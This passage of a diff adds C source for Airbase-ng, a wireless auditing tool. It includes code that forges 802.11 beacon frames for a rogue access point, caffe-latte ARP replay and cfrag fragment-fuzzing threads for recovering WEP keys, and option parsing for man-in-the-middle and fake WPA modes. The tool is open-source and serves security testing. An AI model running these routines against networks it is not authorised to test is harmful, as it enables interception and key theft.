+				strncpy((char *) essid, "default", sizeof(essid) - 1);
+				essid_len = strlen("default");
+			}
+
+			beacon_len = 0;
+
+			memcpy(beacon,
+				   "\x80\x00\x00\x00",
+				   4); // type/subtype/framecontrol/duration
+			beacon_len += 4;
+			memcpy(beacon + beacon_len, BROADCAST, 6); // destination
+			beacon_len += 6;
+			if (!lopt.adhoc)
+				memcpy(beacon + beacon_len, apc.bssid, 6); // source
+			else
+				memcpy(beacon + beacon_len, opt.r_smac, 6); // source
+			beacon_len += 6;
+			memcpy(beacon + beacon_len, apc.bssid, 6); // bssid
+			beacon_len += 6;
+			memcpy(beacon + beacon_len, "\x00\x00", 2); // seq+frag
+			beacon_len += 2;
+
+			memcpy(beacon + beacon_len,
+				   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
+				   12); // fixed information
+
+			beacon[beacon_len + 8]
+				= (uint8_t)((apc.interval * MAX(getESSIDcount(), 1))
+							& 0xFF); // beacon interval
+			beacon[beacon_len + 9] = (uint8_t)(
+				((apc.interval * MAX(getESSIDcount(), 1)) >> 8) & 0xFF);
+			memcpy(beacon + beacon_len + 10, apc.capa, 2); // capability
+			beacon_len += 12;
+
+			beacon[beacon_len] = 0x00; // essid tag
+			beacon[beacon_len + 1] = (uint8_t) essid_len; // essid tag
+			beacon_len += 2;
+			memcpy(beacon + beacon_len, essid, essid_len); // actual essid
+			beacon_len += essid_len;
+
+			memcpy(beacon + beacon_len, RATES, sizeof(RATES) - 1); // rates
+			beacon_len += sizeof(RATES) - 1;
+
+			beacon[beacon_len] = 0x03; // channel tag
+			beacon[beacon_len + 1] = 0x01;
+			temp_channel = wi_get_channel(_wi_in); // current channel
+			if (!invalid_channel_displayed)
+			{
+				if (temp_channel > 255)
+				{
+					// Display error message once
+					invalid_channel_displayed = 1;
+					fprintf(stderr,
+							"Error: Got channel %d, expected a value < 256.\n",
+							temp_channel);
+				}
+				else if (temp_channel < 1)
+				{
+					invalid_channel_displayed = 1;
+					fprintf(stderr,
+							"Error: Got channel %d, expected a value > 0.\n",
+							temp_channel);
+				}
+			}
+			beacon[beacon_len + 2] = (uint8_t)(
+				((temp_channel > 255 || temp_channel < 1) && lopt.channel != 0)
+					? lopt.channel
+					: temp_channel);
+
+			beacon_len += 3;
+
+			if (lopt.allwpa)
+			{
+				memcpy(beacon + beacon_len,
+					   ALL_WPA2_TAGS,
+					   sizeof(ALL_WPA2_TAGS) - 1);
+				beacon_len += sizeof(ALL_WPA2_TAGS) - 1;
+			}
+			else if (lopt.wpa2type > 0)
+			{
+				memcpy(beacon + beacon_len, WPA2_TAG, 22);
+				beacon[beacon_len + 7] = (uint8_t) lopt.wpa2type;
+				beacon[beacon_len + 13] = (uint8_t) lopt.wpa2type;
+				beacon_len += 22;
+			}
+
+			// Add extended rates
+			memcpy(beacon + beacon_len,
+				   EXTENDED_RATES,
+				   sizeof(EXTENDED_RATES) - 1);
+			beacon_len += sizeof(EXTENDED_RATES) - 1;
+
+			if (lopt.allwpa)
+			{
+				memcpy(beacon + beacon_len,
+					   ALL_WPA1_TAGS,
+					   sizeof(ALL_WPA1_TAGS) - 1);
+				beacon_len += sizeof(ALL_WPA1_TAGS) - 1;
+			}
+			else if (lopt.wpa1type > 0)
+			{
+				memcpy(beacon + beacon_len, WPA1_TAG, 24);
+				beacon[beacon_len + 11] = (uint8_t) lopt.wpa1type;
+				beacon[beacon_len + 17] = (uint8_t) lopt.wpa1type;
+				beacon_len += 24;
+			}
+
+			// copy timestamp into beacon; a mod 2^64 counter incremented each
+			// microsecond
+			for (i = 0; i < 8; i++)
+			{
+				beacon[24 + i] = (uint8_t)((timestamp >> (i * 8)) & 0xFF);
+			}
+
+			beacon[22] = (uint8_t)((seq << 4) & 0xFF);
+			beacon[23] = (uint8_t)((seq >> 4) & 0xFF);
+
+			fflush(stdout);
+
+			if (my_send_packet(beacon, beacon_len) < 0)
+			{
+				printf("Error sending beacon!\n");
+				return;
+			}
+
+			seq++;
+		}
+	}
+}
+
+static void caffelatte_thread(void)
+{
+	struct timeval tv, tv2;
+	float f, ticks[3];
+	int arp_off1 = 0;
+	int nb_pkt_sent_1 = 0;
+	int seq = 0;
+
+	ticks[0] = 0;
+	ticks[1] = 0;
+	ticks[2] = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
+		gettimeofday(&tv, NULL);
+		usleep(1000000 / RTC_RESOLUTION);
+		gettimeofday(&tv2, NULL);
+
+		f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+			+ (float) (tv2.tv_usec - tv.tv_usec);
+
+		ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+
+		if (((double) ticks[2] / (double) RTC_RESOLUTION)
+			>= (1000.0 / (double) opt.r_nbpps) * (double) seq)
+		{
+			/* threshold reach, send one frame */
+			//            ticks[2] = 0;
+
+			if (lopt.nb_arp > 0)
+			{
+				if (nb_pkt_sent_1 == 0) ticks[0] = 0;
+
+				if (my_send_packet(arp[arp_off1].buf,
+								   (size_t) arp[arp_off1].len)
+					< 0)
+					return;
+
+				nb_pkt_sent_1++;
+
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent_1)
+				{
+					if (my_send_packet(arp[arp_off1].buf,
+									   (size_t) arp[arp_off1].len)
+						< 0)
+						return;
+
+					nb_pkt_sent_1++;
+				}
+
+				if (++arp_off1 >= lopt.nb_arp) arp_off1 = 0;
+			}
+		}
+	}
+}
+
+static int del_next_CF(pCF_t curCF)
+{
+	pCF_t tmp;
+
+	if (curCF == NULL) return (1);
+	if (curCF->next == NULL) return (1);
+
+	tmp = curCF->next;
+	curCF->next = tmp->next;
+
+	free(tmp);
+
+	return (0);
+}
+
+static int cfrag_fuzz(unsigned char * packet,
+					  int frags,
+					  int frag_num,
+					  int length,
+					  const unsigned char rnd[2])
+{
+	int z, i;
+	unsigned char overlay[4096];
+	unsigned char * smac = NULL;
+
+	if (packet == NULL) return (1);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length <= z + 8) return (1);
+
+	if (frags < 1) return (1);
+
+	if (frag_num < 0 || frag_num > frags) return (1);
+
+	if ((packet[1] & 3) <= 1)
+		smac = packet + 10;
+	else if ((packet[1] & 3) == 2)
+		smac = packet + 16;
+	else
+		smac = packet + 24;
+
+	memset(overlay, 0, 4096);
+
+	smac[4] ^= rnd[0];
+	smac[5] ^= rnd[1];
+
+	if (frags == 1 && frag_num == 1) /* ARP final */
+	{
+		overlay[z + 14] = rnd[0];
+		overlay[z + 15] = rnd[1];
+		overlay[z + 18] = rnd[0];
+		overlay[z + 19] = rnd[1];
+		add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
+	}
+	else if (frags == 3 && frag_num == 3) /* IP final */
+	{
+		overlay[z + 12] = rnd[0];
+		overlay[z + 13] = rnd[1];
+		overlay[z + 16] = rnd[0];
+		overlay[z + 17] = rnd[1];
+		add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
+	}
+
+	for (i = 0; i < length; i++)
+	{
+		packet[i] ^= overlay[i];
+	}
+
+	return (0);
+}
+
+static void cfrag_thread(void)
+{
+	struct timeval tv, tv2;
+	float f, ticks[3];
+	int nb_pkt_sent_1 = 0;
+	int seq = 0, i = 0;
+	pCF_t curCF;
+	unsigned char rnd[2];
+	unsigned char buffer[4096];
+
+	ticks[0] = 0;
+	ticks[1] = 0;
+	ticks[2] = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
+		gettimeofday(&tv, NULL);
+		usleep(1000000 / RTC_RESOLUTION);
+		gettimeofday(&tv2, NULL);
+
+		f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+			+ (float) (tv2.tv_usec - tv.tv_usec);
+
+		ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+
+		if (((double) ticks[2] / (double) RTC_RESOLUTION)
+			>= ((double) 1000.0 / (double) opt.r_nbpps) * (double) seq)
+		{
+			/* threshold reach, send one frame */
+			//            ticks[2] = 0;
+
+			ALLEGE(pthread_mutex_lock(&mx_cf) == 0);
+
+			if (lopt.cf_count > 0)
+			{
+				curCF = rCF;
+
+				if (curCF->next == NULL)
+				{
+					lopt.cf_count = 0;
+					ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+					continue;
+				}
+
+				while (curCF->next != NULL
+					   && curCF->next->xmitcount >= MAX_CF_XMIT)
+				{
+					del_next_CF(curCF);
+				}
+
+				if (curCF->next == NULL)
+				{
+					lopt.cf_count = 0;
+					ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+					continue;
+				}
+
+				curCF = curCF->next;
+
+				if (nb_pkt_sent_1 == 0) ticks[0] = 0;
+
+				rnd[0] = rand_u8();
+				rnd[1] = rand_u8();
+
+				for (i = 0; i < curCF->fragnum; i++)
+				{
+					memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
+					cfrag_fuzz(buffer,
+							   curCF->fragnum,
+							   i,
+							   (int) curCF->fraglen[i],
+							   rnd);
+					if (my_send_packet(buffer, curCF->fraglen[i]) < 0)
+					{
+						ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+						return;
+					}
+				}
+				memcpy(buffer, curCF->final, curCF->finallen);
+				cfrag_fuzz(buffer,
+						   curCF->fragnum,
+						   curCF->fragnum,
+						   (int) curCF->finallen,
+						   rnd);
+				if (my_send_packet(buffer, curCF->finallen) < 0)
+				{
+					ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+					return;
+				}
+
+				curCF->xmitcount++;
+				nb_pkt_sent_1++;
+
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent_1)
+				{
+					rnd[0] = rand_u8();
+					rnd[1] = rand_u8();
+					for (i = 0; i < curCF->fragnum; i++)
+					{
+						memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
+						cfrag_fuzz(buffer,
+								   curCF->fragnum,
+								   i,
+								   (int) curCF->fraglen[i],
+								   rnd);
+						if (my_send_packet(buffer, curCF->fraglen[i]) < 0)
+						{
+							ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+							return;
+						}
+					}
+					memcpy(buffer, curCF->final, curCF->finallen);
+					cfrag_fuzz(buffer,
+							   curCF->fragnum,
+							   curCF->fragnum,
+							   (int) curCF->finallen,
+							   rnd);
+					if (my_send_packet(buffer, curCF->finallen) < 0)
+					{
+						ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+						return;
+					}
+
+					curCF->xmitcount++;
+					nb_pkt_sent_1++;
+				}
+			}
+			ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+		}
+	}
+}
+
+int main(int argc, char * argv[])
+{
+	int ret_val, len, i, n;
+	unsigned int un;
+	struct pcap_pkthdr pkh;
+	fd_set read_fds;
+	unsigned char buffer[4096];
+	char *s, buf[128], *tempstr;
+	int caplen;
+	struct AP_conf apc;
+	unsigned char mac[6];
+
+	/* check the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
+	memset(&apc, 0, sizeof(struct AP_conf));
+
+	ALLEGE(pthread_mutex_init(&rESSIDmutex, NULL) == 0);
+	rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list));
+	ALLEGE(rESSID != NULL);
+	memset(rESSID, 0, sizeof(struct ESSID_list));
+
+	rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
+	ALLEGE(rFragment != NULL);
+	memset(rFragment, 0, sizeof(struct Fragment_list));
+
+	rClient = (pMAC_t) malloc(sizeof(struct MAC_list));
+	ALLEGE(rClient != NULL);
+	memset(rClient, 0, sizeof(struct MAC_list));
+
+	rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list));
+	ALLEGE(rBSSID != NULL);
+	memset(rBSSID, 0, sizeof(struct MAC_list));
+
+	rCF = (pCF_t) malloc(sizeof(struct CF_packet));
+	ALLEGE(rCF != NULL);
+	memset(rCF, 0, sizeof(struct CF_packet));
+
+	ac_crypto_init();
+
+	ALLEGE(pthread_mutex_init(&mx_cf, NULL) == 0);
+	ALLEGE(pthread_mutex_init(&mx_cap, NULL) == 0);
+
+	opt.r_nbpps = 100;
+	lopt.tods = 0;
+	lopt.setWEP = -1;
+	lopt.skalen = 128;
+	lopt.filter = -1;
+	opt.ringbuffer = 10;
+	lopt.nb_arp = 0;
+	opt.f_index = 1;
+	lopt.interval = 0x64;
+	lopt.channel = 0;
+	lopt.beacon_cache = 0; /* disable by default */
+	lopt.use_fixed_nonce = 0;
+	lopt.ti_mtu = TI_MTU;
+	lopt.wif_mtu = WIF_MTU;
+	invalid_channel_displayed = 0;
+
+	rand_init();
+
+	while (1)
+	{
+		int option_index = 0;
+
+		static const struct option long_options[]
+			= {{"beacon-cache", 1, 0, 'C'},
+			   {"bssid", 1, 0, 'b'},
+			   {"bssids", 1, 0, 'B'},
+			   {"channel", 1, 0, 'c'},
+			   {"client", 1, 0, 'd'},
+			   {"clients", 1, 0, 'D'},
+			   {"essid", 1, 0, 'e'},
+			   {"essids", 1, 0, 'E'},
+			   {"promiscuous", 0, 0, 'P'},
+			   {"interval", 1, 0, 'I'},
+			   {"mitm", 0, 0, 'M'},
+			   {"hidden", 0, 0, 'X'},
+			   {"caffe-latte", 0, 0, 'L'},
+			   {"cfrag", 0, 0, 'N'},
+			   {"verbose", 0, 0, 'v'},
+			   {"ad-hoc", 0, 0, 'A'},
+			   {"help", 0, 0, 'H'},
+			   {0, 0, 0, 0}};
+
+		int option = getopt_long(
+			argc,
+			argv,
+			"a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:n:",
+			long_options,
+			&option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case 'n':
+
+				// Check the value is 32 bytes, in hex (64 hex)
+				if (hexStringToArray(
+						optarg, (int) strlen(optarg), lopt.fixed_nonce, 32)
+					!= 32)
+				{
+					printf("Invalid fixed nonce. It must be 64 hexadecimal "
+						   "chars.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.use_fixed_nonce = 1;
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'c':
+
+				lopt.channel = atoi(optarg);
+				if (lopt.channel > 255 || lopt.channel < 1)
+				{
+					printf("Invalid channel value <%d>. It must be between 1 "
+						   "and 255.\n",
+						   lopt.channel);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'V':
+
+				lopt.sendeapol = atoi(optarg);
+				if (lopt.sendeapol < 1 || lopt.sendeapol > 3)
+				{
+					printf("EAPOL value can only be 1[MD5], 2[SHA1] or "
+						   "3[auto].\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'v':
+
+				opt.verbose = 1;
+				if (opt.quiet != 0)
+				{
+					printf("Don't specify -v and -q at the same time.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'z':
+
+				lopt.wpa1type = atoi(optarg);
+				if (lopt.wpa1type < 1 || lopt.wpa1type > 5)
+				{
+					printf("Invalid WPA1 type [1-5]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				if (lopt.setWEP == -1)
+				{
+					lopt.setWEP = 1;
+				}
+
+				break;
+
+			case 'Z':
+
+				lopt.wpa2type = atoi(optarg);
+				if (lopt.wpa2type < 1 || lopt.wpa2type > 5)
+				{
+					printf("Invalid WPA2 type [1-5]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				if (lopt.setWEP == -1)
+				{
+					lopt.setWEP = 1;
+				}
+
+				break;
+
+			case 'e':
+
+				if (addESSID(optarg, (int) strlen(optarg), 0) != 0)
+				{
+					printf("Invalid ESSID, too long\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				lopt.f_essid = 1;
+
+				break;
+
+			case 'E':
+
+				if (addESSIDfile(optarg) != 0) return (EXIT_FAILURE);
+
+				lopt.f_essid = 1;
+
+				break;
+
+			case 'P':
+
+				lopt.promiscuous = 1;
+
+				break;
+
+			case 'I':
+
+				lopt.interval = atoi(optarg);
+
+				break;
+
+			case 'C':
+
+				lopt.beacon_cache = atoi(optarg);
+
+				break;
+
+			case 'A':
+
+				lopt.adhoc = 1;
+
+				break;
+
+			case 'N':
+
+				lopt.cf_attack = 1;
+
+				break;
+
+			case 'X':
+
+				lopt.hidden = 1;
+
+				break;
+
+			case '0':
+
+				lopt.allwpa = 1;
+				if (lopt.sendeapol == 0) lopt.sendeapol = 3;
+
+				break;
+
+			case 'x':
+
+				opt.r_nbpps = atoi(optarg);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1000)
+				{
+					printf("Invalid speed. [1-1000]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 's':
+
+				lopt.forceska = 1;
+
+				break;
+
+			case 'f':
+
+				if (strncasecmp(optarg, "allow", 5) == 0
+					|| strncmp(optarg, "0", 1) == 0)
+				{
+					lopt.filter
+						= ALLOW_MACS; // block all, allow the specified macs
+				}
+				else if (strncasecmp(optarg, "disallow", 8) == 0
+						 || strncmp(optarg, "1", 1) == 0)
+				{
+					lopt.filter
+						= BLOCK_MACS; // allow all, block the specified macs
+				}
+				else
+				{
+					printf("Invalid macfilter mode. [allow|disallow]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'S':
+
+				if (atoi(optarg) < 16 || atoi(optarg) > 1480)
+				{
+					printf("Invalid challenge length. [16-1480]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				lopt.skalen = atoi(optarg);
+
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'i':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				opt.s_face = optarg;
+				break;
+
+			case 'W':
+
+				if (atoi(optarg) < 0 || atoi(optarg) > 1)
+				{
+					printf("Invalid argument for (-W). Only \"0\" and \"1\" "
+						   "allowed.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				lopt.setWEP = atoi(optarg);
+
+				break;
+
+			case 'M':
+
+				lopt.mitm = 1;
+
+				break;
+
+			case 'L':
+
+				lopt.caffelatte = 1;
+
+				break;
+
+			case 'y':
+
+				lopt.nobroadprobe = 1;
+
+				break;
+
+			case 'Y':
+
+				if (strncasecmp(optarg, "in", 2) == 0)
+				{
+					lopt.external |= EXT_IN; // process incoming frames
+				}
+				else if (strncasecmp(optarg, "out", 3) == 0)
+				{
+					lopt.external |= EXT_OUT; // process outgoing frames
+				}
+				else if (strncasecmp(optarg, "both", 4) == 0
+						 || strncasecmp(optarg, "all", 3) == 0)
+				{
+					lopt.external
+						|= EXT_IN | EXT_OUT; // process both directions
+				}
+				else
+				{
+					printf("Invalid processing mode. [in|out|both]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'q':
+
+				opt.quiet = 1;
+				if (opt.verbose != 0)
+				{
+					printf("Don't specify -v and -q at the same time.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'w':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WEP;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &un) == 1)
+				{
+					if (un > 255)
+					{
+						printf("Invalid WEP key.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (EXIT_FAILURE);
+					}
+
+					opt.wepkey[i++] = (uint8_t) un;
+
+					if (i >= 64) break;
+
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
+				{
+					printf("Invalid WEP key length.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.weplen = (size_t) i;
+
+				break;
+
+			case 'F':
+
+				if (lopt.dump_prefix != NULL)
+				{
+					printf("Notice: dump prefix already given\n");
+					break;
+				}
+				/* Write prefix */
+				lopt.dump_prefix = optarg;
+				lopt.record_data = 1;
+				break;
+
+			case 'd':
+
+				if (getmac(optarg, 1, mac) == 0)
+				{
+					addMAC(rClient, mac);
+				}
+				else
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
+
+				break;
+
+			case 'D':
+
+				if (addMACfile(rClient, optarg) != 0) return (EXIT_FAILURE);
+
+				if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
+
+				break;
+
+			case 'b':
+
+				if (getmac(optarg, 1, mac) == 0)
+				{
+					addMAC(rBSSID, mac);
+				}
+				else
+				{
+					printf("Invalid BSSID address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
+
+				break;
+
+			case 'B':
+
+				if (addMACfile(rBSSID, optarg) != 0) return (EXIT_FAILURE);
+
+				if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
+
+				break;
+
+			case 'r':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				opt.s_file = optarg;
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Airbase-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (EXIT_FAILURE);
+
+			default:
+				goto usage;
+		}
+	}
+
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(
+				usage,
+				getVersion(
+					"Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (EXIT_FAILURE);
+	}
+
+	if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+		&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
+	{
+		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if (lopt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1))
+	{
+		printf("Notice: You need to specify exactly one BSSID (-b)"
+			   " and at least one client MAC (-d)\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if (lopt.wpa1type && lopt.wpa2type)
+	{
+		printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if (lopt.allwpa && (lopt.wpa1type || lopt.wpa2type))
+	{
+		printf("Notice: You cannot use all WPA tags (-0)"
+			   " together with WPA (-z) or WPA2 (-Z)\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	dev.fd_rtc = -1;
+
+/* open the RTC device if necessary */
+
+#if defined(__i386__)
+#if defined(linux)
+	if (1)
+	{
+		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if (dev.fd_rtc > 0)
+		{
+			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
+			{
+				perror("ioctl(RTC_IRQP_SET) failed");
+				printf("Make sure enhanced rtc device support is enabled in "
+					   "the kernel (module\n"
+					   "rtc, not genrtc) - also try 'echo 1024 "
+					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+			else
+			{
+				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+				{
+					perror("ioctl(RTC_PIE_ON) failed");
+					close(dev.fd_rtc);
+					dev.fd_rtc = -1;
+				}
+			}
+		}
+		else
+		{
+			printf("For information, no action required:"
+				   " Using gettimeofday() instead of /dev/rtc\n");
+			dev.fd_rtc = -1;
+		}
+	}
+#endif /* linux */
+#endif /* __i386__ */
+
+	/* open the replay interface */
+	tempstr = strdup(argv[optind]);
+	if (!tempstr)
+	{
+		return (EXIT_FAILURE);
+	}
+	_wi_out = wi_open(tempstr);
+	free(tempstr);
+	if (!_wi_out) return (EXIT_FAILURE);
+	dev.fd_out = wi_fd(_wi_out);
+
+	/* open the packet source */
+	if (opt.s_face != NULL)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return (EXIT_FAILURE);
+		dev.fd_in = wi_fd(_wi_in);
+	}
+	else
+	{
+		_wi_in = _wi_out;
+		dev.fd_in = dev.fd_out;
+	}
+
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
+
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
+
+	if (lopt.record_data)
+		if (dump_initialize(lopt.dump_prefix)) return (EXIT_FAILURE);
+
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (EXIT_FAILURE);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (EXIT_FAILURE);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (EXIT_FAILURE);
+		}
+	}
+
+	dev.dv_ti = ti_open(NULL);
+	if (!dev.dv_ti)
+	{
+		printf("error opening tap device: %s\n", strerror(errno));
+		return (EXIT_FAILURE);
+	}
+
+	if (!opt.quiet)
+	{
+		PCT;
+		printf("Created tap interface %s\n", ti_name(dev.dv_ti));
+	}
+
+	// Set MTU on tun/tap interface to a preferred value
+	if (!opt.quiet)
+	{
+		PCT;
+		printf(
+			"Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), lopt.ti_mtu);
+	}
+	if (ti_set_mtu(dev.dv_ti, lopt.ti_mtu) != 0)
+	{
+		if (!opt.quiet)
+		{
+			printf("error setting MTU on %s\n", ti_name(dev.dv_ti));
+		}
+		lopt.ti_mtu = ti_get_mtu(dev.dv_ti);
+		if (!opt.quiet)
+		{
+			PCT;
+			printf(
+				"MTU on %s remains at %i\n", ti_name(dev.dv_ti), lopt.ti_mtu);
+		}
+	}
+
+	// Set MTU on wireless interface to a preferred value
